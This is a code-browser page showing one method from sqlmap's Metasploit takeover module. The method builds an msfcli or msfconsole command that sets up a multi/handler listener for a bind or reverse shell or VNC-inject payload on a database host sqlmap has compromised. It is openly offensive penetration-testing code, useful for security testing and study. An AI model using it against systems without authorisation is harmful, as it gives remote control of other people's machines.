MCPcopy Create free account
hub / github.com/sqlmapproject/sqlmap / _forgeMsfCliCmd

Method _forgeMsfCliCmd

lib/takeover/metasploit.py:310–342  ·  view source on GitHub ↗
(self, exitfunc="process")

Source from the content-addressed store, hash-verified

308 self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
309
310 def _forgeMsfCliCmd(self, exitfunc="process"):
311 if kb.oldMsf:
312 self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
313 self._cliCmd += " EXITFUNC=%s" % exitfunc
314 self._cliCmd += " LPORT=%s" % self.portStr
315
316 if self.connectionStr.startswith("bind"):
317 self._cliCmd += " RHOST=%s" % self.rhostStr
318 elif self.connectionStr.startswith("reverse"):
319 self._cliCmd += " LHOST=%s" % self.lhostStr
320 else:
321 raise SqlmapDataException("unexpected connection type")
322
323 if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
324 self._cliCmd += " DisableCourtesyShell=true"
325
326 self._cliCmd += " E"
327 else:
328 self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
329 self._cliCmd += "; set EXITFUNC %s" % exitfunc
330 self._cliCmd += "; set LPORT %s" % self.portStr
331
332 if self.connectionStr.startswith("bind"):
333 self._cliCmd += "; set RHOST %s" % self.rhostStr
334 elif self.connectionStr.startswith("reverse"):
335 self._cliCmd += "; set LHOST %s" % self.lhostStr
336 else:
337 raise SqlmapDataException("unexpected connection type")
338
339 if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
340 self._cliCmd += "; set DisableCourtesyShell true"
341
342 self._cliCmd += "; exploit'"
343
344 def _forgeMsfCliCmdForSmbrelay(self):
345 self._prepareIngredients(encode=False)

Callers 1

_runMsfCliMethod · 0.95

Calls 2

SqlmapDataExceptionClass · 0.90
isOsMethod · 0.80

Tested by

no test coverage detected